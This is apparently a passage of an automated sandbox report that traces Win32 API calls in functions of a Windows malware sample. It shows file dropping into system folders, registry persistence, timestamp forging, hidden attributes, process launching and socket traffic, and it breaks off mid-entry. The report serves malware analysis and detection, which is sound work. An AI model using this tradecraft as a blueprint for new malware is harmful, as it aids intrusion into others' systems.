RegCloseKey.ADVAPI32(?,80000002,004087C0,00000000,00000000,00000000,000F003F,00408778,?,00000000,80000001,004087C0,00000000,00020019,?,00000002), ref: 00404253
CloseHandle.KERNEL32(?,00000000), ref: 00404279

Strings

%02X, xrefs: 00403FB6

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Close$CreateDeleteHandleProcessValue$FileOpenProcess32lstrcmpi$AttributesClassCurrentErrorFirstLastMutexNextObjectPriorityQuerySingleSnapshotTerminateToolhelp32Waitwsprintf
String ID: %02X
API String ID: 3062393105-436463671
Opcode ID: 5b9c9c169c0405b4dadf559968898f8ad6ac6c81d674ae810c2b9f46b6f1a009
Instruction ID: 67419a56703f7777b6a55b50def0b8cf4c76efdf6f2211b84b0029fbdad28417
Opcode Fuzzy Hash: 5b9c9c169c0405b4dadf559968898f8ad6ac6c81d674ae810c2b9f46b6f1a009
Instruction Fuzzy Hash: FA81F570284740B9E731AB718C46FAF7698AFD0748F60083FB785B50C2DABC95508A5F

Function 00404DB4 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 228registryfilestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104), ref: 00404DBA
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000104), ref: 00404DD7
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000104), ref: 00404DF7
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00404E20
CloseHandle.KERNEL32(?,?,?,?,?,00000000), ref: 00404E2C
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,00000000), ref: 00404E48
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404E8C
lstrcat.KERNEL32(?,0041103E), ref: 00404EA2
lstrcat.KERNEL32(00000000,?), ref: 00404EA8
SetFileAttributesA.KERNEL32(00000000,00000000,?,0041103E,00000080,?,00000104,?,00000000,?,?,00000000,00000000,00000000,?,80000000), ref: 00404EAE
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0041103E,00000080,?,00000104,?,00000000), ref: 00404EC6
WriteFile.KERNEL32(?,0040E640,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,00000104), ref: 00404EFC
SetFileTime.KERNEL32(?,?,?,?,?,0040E640,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00404F27
CloseHandle.KERNEL32(?,?,0040E640,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080), ref: 00404F33
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0041103E,00000080,?,00000104,?,00000000), ref: 00404F78
ExpandEnvironmentStringsA.KERNEL32(004103F4,?,00000104,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0041103E,00000080,?), ref: 00404FB0
lstrcat.KERNEL32(?,00000080), ref: 00404FC1
SetFileAttributesA.KERNEL32(00000000,?,00000080,004103F4,?,00000104,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?), ref: 00404FC7
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,004103F4,?,00000104,?,40000000,00000000), ref: 00404FDF
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,004103F4,?,00000104,?,40000000,00000000), ref: 00404FF6
GetTempPathA.KERNEL32(00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,004103F4,?,00000104,?), ref: 00405006
lstrcat.KERNEL32(?,00000080), ref: 00405017
SetFileAttributesA.KERNEL32(00000000,?,00000080,00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,004103F4), ref: 0040501D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,00000104,?,?,40000000,00000000,00000000), ref: 00405035
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,00000104,?,?,40000000,00000000,00000000), ref: 0040504C
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040507B
ExpandEnvironmentStringsA.KERNEL32(004103F4,?,00000104,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00405092
lstrcat.KERNEL32(?,00000080), ref: 004050A3
SetFileAttributesA.KERNEL32(00000000,?,00000080,004103F4,?,00000104,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004050A9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,004103F4,?,00000104,?,80000000,00000001), ref: 004050C1
GetTempPathA.KERNEL32(00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,004103F4,?,00000104,?), ref: 004050E5
lstrcat.KERNEL32(?,00000080), ref: 004050F6
SetFileAttributesA.KERNEL32(00000000,?,00000080,00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,004103F4), ref: 004050FC
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,00000104,?,?,40000000,00000000,00000000), ref: 00405114
WriteFile.KERNEL32(00000000,00408840,00005E00,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,00000104), ref: 00405140
CloseHandle.KERNEL32(?,00000000,00408840,00005E00,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080), ref: 0040514C
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040517C
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040518E
lstrcat.KERNEL32(?,0041103E), ref: 00405199
ExpandEnvironmentStringsA.KERNEL32(004103FF,?,00000104,?,0041103E,?,00000104), ref: 004051B0
ExpandEnvironmentStringsA.KERNEL32(004103F4,?,00000104,004103FF,?,00000104,?,0041103E,?,00000104), ref: 004051C7
RegOpenKeyExA.ADVAPI32(80000002,00407220,00000000,00020006,?,004103F4,?,00000104,004103FF,?,00000104,?,0041103E,?,00000104), ref: 004051FE
RegOpenKeyExA.ADVAPI32(80000001,00407220,00000000,00020006,?,80000002,00407220,00000000,00020006,?,004103F4,?,00000104,004103FF,?,00000104), ref: 00405220
lstrlen.KERNEL32(?,80000002,00407220,00000000,00020006,?,004103F4,?,00000104,004103FF,?,00000104,?,0041103E,?,00000104), ref: 00405244
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?,004103F4,?,00000104,004103FF,?), ref: 0040525D
RegDeleteValueA.ADVAPI32(?,0041059C,80000002,00407220,00000000,00020006,?,004103F4,?,00000104,004103FF,?,00000104,?,0041103E,?), ref: 0040526E
RegCloseKey.ADVAPI32(?,?,0041059C,80000002,00407220,00000000,00020006,?,004103F4,?,00000104,004103FF,?,00000104,?,0041103E), ref: 0040527A
RegCreateKeyA.ADVAPI32(80000002,004071E0,?), ref: 004052C2
RegSetValueExA.ADVAPI32(?,004071C3,00000000,00000004,?,00000004,80000002,004071E0,?,?,?,0041059C,80000002,00407220,00000000,00020006), ref: 004052E5
RegCloseKey.ADVAPI32(?,?,004071C3,00000000,00000004,?,00000004,80000002,004071E0,?,?,?,0041059C,80000002,00407220,00000000), ref: 004052F1
RegOpenKeyExA.ADVAPI32(80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?,0041059C,80000002,00407220,00000000,00020006,?), ref: 00405362
RegSetValueExA.ADVAPI32(?,00407177,00000000,00000004,?,00000004,80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?), ref: 00405385
RegSetValueExA.ADVAPI32(?,00407160,00000000,00000004,?,00000004,?,00407177,00000000,00000004,?,00000004,80000002,004071A0,00000000,00020006), ref: 0040539D
RegSetValueExA.ADVAPI32(?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000,00000004,?,00000004,?,00407177,00000000,00000004), ref: 004053B5
RegSetValueExA.ADVAPI32(?,00407135,00000000,00000004,?,00000004,?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000,00000004), ref: 004053CD
RegCloseKey.ADVAPI32(?,?,00407135,00000000,00000004,?,00000004,?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000), ref: 004053D9
RegOpenKeyExA.ADVAPI32(80000002,004070C0,00000000,0002001F,?,80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?,0041059C), ref: 00405402
RegEnumValueA.ADVAPI32(?,40000000,00000000,?,00000000,00000000,00004000,00004000,80000002,004070C0,00000000,0002001F,?,80000002,004071A0,00000000), ref: 004054AB
wsprintfA.USER32 ref: 004054C2
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000000,00000001,00000003,00000000,00000000), ref: 004054D9
RegCloseKey.ADVAPI32(?,?,?,00000000,00000001,00000000,00000001,00000003,00000000,00000000), ref: 004054EC
CreateThread.KERNEL32(00000000,00010000,Function_0000265F,00000002,00000000,?), ref: 00405509
CloseHandle.KERNEL32(00000000,00000000,00010000,Function_0000265F,00000002,00000000,?,?,?,0041059C,80000002,00407220,00000000,00020006,?,004103F4), ref: 0040550F
RegCreateKeyExA.ADVAPI32(80000001,00410240,00000000,00000000,00000000,0002001F,00000000,00000002,00000000,00000000,00000000,00010000,Function_0000265F,00000002,00000000,?), ref: 00405583
GetSystemTimeAsFileTime.KERNEL32(00000000,80000001,00410240,00000000,00000000,00000000,0002001F,00000000,00000002,00000000,00000000,00000000,00010000,Function_0000265F,00000002,00000000), ref: 00405595
RegQueryValueExA.ADVAPI32(?,00410228,00000000,00000000,00000000,00000008,00000000,80000001,00410240,00000000,00000000,00000000,0002001F,00000000,00000002,00000000), ref: 004055BF

Strings

tmp, xrefs: 00404DD1
kernel32.dll, xrefs: 00404F6D

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$Create$Value$Close$lstrcat$Attributes$EnvironmentExpandHandleOpenStringsTemp$ErrorLastPathSystemTimeWrite$Directory$DeleteEnumNameQueryThreadlstrlenwsprintf
String ID: kernel32.dll$tmp
API String ID: 673231081-616540229
Opcode ID: c6c9b02f7d7fd9415e55245fa383b1cbcff75aa5aae91cc88556e65dcdf9ff46
Instruction ID: fbe2660df193cff3e18baa874fd9eb54c314e199f9e988dc3fb1dd516a992f0b
Opcode Fuzzy Hash: c6c9b02f7d7fd9415e55245fa383b1cbcff75aa5aae91cc88556e65dcdf9ff46
Instruction Fuzzy Hash: 6B7193B0784745B9E630A6618C4BFDB228DAF44B48F50493F73C5B90C2DAFCA5448B6E

Function 0040457B Relevance: 51.0, APIs: 27, Strings: 2, Instructions: 233stringregistryfileCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000002,00408720,?), ref: 0040458D
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004045A7
lstrcat.KERNEL32(?,0041103E), ref: 004045B8
lstrcat.KERNEL32(00000000,?), ref: 004045BE
CreateMutexA.KERNEL32(00000000,00000000,00407AE0,00000000,?,0041103E,?,00000104,80000002,00408720,?), ref: 004045DE
WaitForSingleObject.KERNEL32(00000000,00002710,00000000,00000000,00407AE0,00000000,?,0041103E,?,00000104,80000002,00408720,?), ref: 004045F4
CloseHandle.KERNEL32(?,00000000,00002710,00000000,00000000,00407AE0,00000000,?,0041103E,?,00000104,80000002,00408720,?), ref: 00404600
Sleep.KERNEL32(000007D0,00000000,00000000,00407AE0,00000000,?,0041103E,?,00000104,80000002,00408720,?), ref: 0040460C
SetFileAttributesA.KERNEL32(?,00000080,000007D0,00000000,00000000,00407AE0,00000000,?,0041103E,?,00000104,80000002,00408720,?), ref: 0040461E
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407AE0,00000000,?,0041103E), ref: 00404636
WriteFile.KERNEL32(00000000,00407B20,00000C00,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000), ref: 00404668
lstrlen.KERNEL32(?,00000000,00407B20,00000C00,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0), ref: 004046B6
lstrcpy.KERNEL32(?,?), ref: 004046EB
WriteFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,00000000,00407B20,00000C00,?,00000000,?,40000000,00000000), ref: 0040471B
SetFileTime.KERNEL32(?,?,?,?,?,00000000,?,?,00000000,?,?,?,00000000,00407B20,00000C00,?), ref: 0040474D
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,00000000,00407B20,00000C00,?,00000000,?,40000000), ref: 00404759
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?), ref: 00404775
RegDeleteValueA.ADVAPI32(?,004103EB,?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,00000000,?,?,00000000,?), ref: 00404786

Part of subcall function 00401251: RegSetValueExW.ADVAPI32(?,?,00000000,00000001,00411035,00000004), ref: 004012B2

lstrlen.KERNEL32(?,?,004103EB,?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,00000000,?,?,00000000), ref: 00404798
RegSetValueExA.ADVAPI32(?,004103EB,00000000,00000001,?,00000001,?,?,004103EB,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004047B0
RegCloseKey.ADVAPI32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407AE0,00000000,?), ref: 004047C4
GetComputerNameA.KERNEL32(?,00000010), ref: 004047DE
lstrcpy.KERNEL32(?,QlC5hT0yHn63XEm5LqJ2OxSkGj2v), ref: 004047FE
lstrcpy.KERNEL32(?,?), ref: 0040480E
lstrlen.KERNEL32(?,?,?), ref: 0040482B
wsprintfA.USER32 ref: 004048CF

Strings

QlC5hT0yHn63XEm5LqJ2OxSkGj2v, xrefs: 004047F1
f, xrefs: 0040467A

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$Create$CloseValuelstrcpylstrlen$HandleWritelstrcat$AttributesComputerDeleteDirectoryMutexNameObjectSingleSleepSystemTimeWaitwsprintf
String ID: QlC5hT0yHn63XEm5LqJ2OxSkGj2v$f
API String ID: 601675314-353899644
Opcode ID: 33fcef3e79632fddf3f22b6a018ec82382485d0f40e541f565c89de7f0f0b9ee
Instruction ID: 54dbcc9571b8fe088a9b1486dd0164562ca2f985fb6eb90898113ffa304c7d2c
Opcode Fuzzy Hash: 33fcef3e79632fddf3f22b6a018ec82382485d0f40e541f565c89de7f0f0b9ee
Instruction Fuzzy Hash: 9981BFB1108785A9D731E7608C85FEF7AEC9B85304F50482BB6C9F60C2D67C96458B6A

Function 004042A2 Relevance: 45.2, APIs: 30, Instructions: 203filestringtimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004042B2
GetFileTime.KERNEL32(00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004042DE
CloseHandle.KERNEL32(?,00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004042EA
GetSystemDirectoryA.KERNEL32(?,00000100), ref: 0040430F
lstrcat.KERNEL32(?,0041103E), ref: 00404320
lstrcat.KERNEL32(00000000,?), ref: 00404326

Part of subcall function 004010F7: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
Part of subcall function 004010F7: SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
Part of subcall function 004010F7: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155

lstrcpy.KERNEL32(?,004103FF), ref: 00404358
lstrcat.KERNEL32(00000000,?), ref: 0040435E
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,004103FF,?,00000104,00000000,?,0041103E,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404364
lstrcpy.KERNEL32(?,004103F4), ref: 0040438C
lstrcat.KERNEL32(00000000,?), ref: 00404392
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,004103F4,?,00000104,00000000,00000000,?,004103FF,?,00000104,00000000,?,0041103E), ref: 00404398
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,00000000,?,0041103E,?,80000000,00000001,00000000,00000003,00000000), ref: 004043D4
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,?,40000000,00000000,00000000,00000003,00000000,00000000,00000000,?,0041103E,?,80000000), ref: 004043EB
WriteFile.KERNEL32(00000000,004120E0,00000004,?,00000000,00000000,000000F0,00000000,00000002,?,40000000,00000000,00000000,00000003,00000000,00000000), ref: 00404402
CloseHandle.KERNEL32(00000000,00000000,004120E0,00000004,?,00000000,00000000,000000F0,00000000,00000002,?,40000000,00000000,00000000,00000003,00000000), ref: 00404408
CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0041103E,?,80000000,00000001,00000000,00000003,00000000), ref: 0040442B
SetFileTime.KERNEL32(00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0041103E,?,80000000), ref: 00404454
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0041103E), ref: 0040445A
SetFileAttributesA.KERNEL32(?,00000021,00000000,?,0041103E,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404469
CloseHandle.KERNEL32(?,?,00000021,00000000,?,0041103E,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404472
GetStartupInfoA.KERNEL32(?), ref: 0040447F
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040449C
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,004107CF), ref: 004044A3
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,0041041C,?,00000104), ref: 004044C6
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002,00000000,00000000,?,00000104), ref: 004044DE
ReadFile.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002), ref: 00404504
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00404510
CreateThread.KERNEL32(00000000,00001000,00401038,?,00000000,?), ref: 0040453F
CloseHandle.KERNEL32(00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,0041041C,?,00000104), ref: 00404545

Part of subcall function 004010F7: CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002), ref: 00401168
Part of subcall function 004010F7: CloseHandle.KERNEL32(00000000,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000,?,40000000,00000000,00000000), ref: 0040116E

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$CloseCreateHandle$lstrcat$AttributesEnvironmentExpandProcessStringsTimelstrcpy$DirectoryExitInfoPointerReadSizeStartupSystemThreadWrite
String ID:
API String ID: 2553420183-0
Opcode ID: 11906912ae148b206006ce33ef08ac9e9e782c170479aee63d50dfe3f5392fed
Instruction ID: 690550774270466be3d94ef6732d86702873fb7c6e332710f6e85b8427b6284d
Opcode Fuzzy Hash: 11906912ae148b206006ce33ef08ac9e9e782c170479aee63d50dfe3f5392fed
Instruction Fuzzy Hash: 015173B02447407AEB30A6618C4AFDB319DAF84748F50493FB784F61D2DBBCA5458B6E

Function 0040211B Relevance: 44.0, APIs: 24, Strings: 1, Instructions: 243filestringprocessCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 00402158
GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,?,00000000,?,00402C02,00000000,00000000,?,00408798,00000000,00000003), ref: 004021E0
lstrcpy.KERNEL32(?,?), ref: 00402204
lstrcat.KERNEL32(00000000,?), ref: 0040220A
lstrcat.KERNEL32(00000000,00000000), ref: 00402210
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040223F

Part of subcall function 004019E8: lstrcpy.KERNEL32(?), ref: 00401A14
Part of subcall function 004019E8: lstrlen.KERNEL32(00000000,?), ref: 00401A1A
Part of subcall function 004019E8: htons.WS2_32(00000050), ref: 00401A7B
Part of subcall function 004019E8: socket.WS2_32(00000002,00000001,00000006), ref: 00401AD6
Part of subcall function 004019E8: closesocket.WS2_32(00000000), ref: 00401AF9

GetTempFileNameA.KERNEL32(?,tmp,00000000,?), ref: 00402220
WriteFile.KERNEL32(00000000,?,00000000,00412190,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040226F
CloseHandle.KERNEL32(00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 00402299
DeleteFileA.KERNEL32(?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004022AC
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004022DA
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000,00000000), ref: 004022F2
DeleteFileA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000), ref: 0040230A
WriteFile.KERNEL32(00000000,0040FA40,00000600,00412190,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040232B
CloseHandle.KERNEL32(00000000,00000000,0040FA40,00000600,00412190,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00402331
GetStartupInfoA.KERNEL32(00000000), ref: 0040233B
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00412190,00000000,00000000,?,40000000,00000000,00000000), ref: 0040237D
DeleteFileA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00412190,00000000,00000000,?,40000000,00000000), ref: 0040238E
DeleteFileA.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00412190,00000000,00000000,?,40000000), ref: 004023A0
CloseHandle.KERNEL32(00000012,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00412190,00000000,00000000,?,40000000,00000000), ref: 004023B7
lstrcpy.KERNEL32(00000004,?), ref: 004023D3
lstrcpy.KERNEL32(00000108,?), ref: 004023EC
CreateThread.KERNEL32(00000000,00010000,004020E2,00000000,00000000), ref: 0040240C
CloseHandle.KERNEL32(00000000,00000000,00010000,004020E2,00000000,00000000,?,00000004,?,00000012,?,00000000,00000000,00000000,00000000,00000000), ref: 00402412

Strings

tmp, xrefs: 0040221A, 004022CD

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$lstrcpy$CloseCreateDeleteHandle$Temp$NameWritelstrcat$InfoPathProcessStartupThreadclosesockethtonslstrlensocket
String ID: tmp
API String ID: 2443235674-753892680
Opcode ID: 4fd0b661c690e636ada112be7383487247a739cc1d76119fbd6f39c593db8a16
Instruction ID: 895ea3fb7fd56845c489c34011873c515f9ddc39e1368bf3964ea777627726e2
Opcode Fuzzy Hash: 4fd0b661c690e636ada112be7383487247a739cc1d76119fbd6f39c593db8a16
Instruction Fuzzy Hash: EB71E6712443406AE730A2B58D8EFEB229D9F84704F50443BBA84FA2D2D6FCD944866E

Function 004019E8 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 203networkstringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 00401A14
lstrlen.KERNEL32(00000000,?), ref: 00401A1A
htons.WS2_32(00000050), ref: 00401A7B
inet_addr.WS2_32(?), ref: 00401A96
gethostbyname.WS2_32(?), ref: 00401AA5
socket.WS2_32(00000002,00000001,00000006), ref: 00401AD6
closesocket.WS2_32(00000000), ref: 00401AF9
wsprintfA.USER32 ref: 00401B44
send.WS2_32(00000000,?,00000000,00000000), ref: 00401B5A
lstrcmpiA.KERNEL32(?,004102BC), ref: 00401B8B

Strings

P, xrefs: 00401B23
0, xrefs: 00401B7D

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: closesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0$P
API String ID: 2963668025-1101630672
Opcode ID: c5d45dd5b0852868a88cd7f42ace2a0081f095ac5beb68cc9b967b7c8b616f4c
Instruction ID: f87274f76e66a91bb03daa9740d34f21cd30a4f309872cf7f6b7342f01a6976e
Opcode Fuzzy Hash: c5d45dd5b0852868a88cd7f42ace2a0081f095ac5beb68cc9b967b7c8b616f4c
Instruction Fuzzy Hash: 1871C6B0A402159EE7209B65CC45B9B76A8EF05354F1480BAF704FB2E2D7BC99448B6D

Function 0040318D Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 177stringprocessmemoryCOMMON

Download Yara Rule

APIs

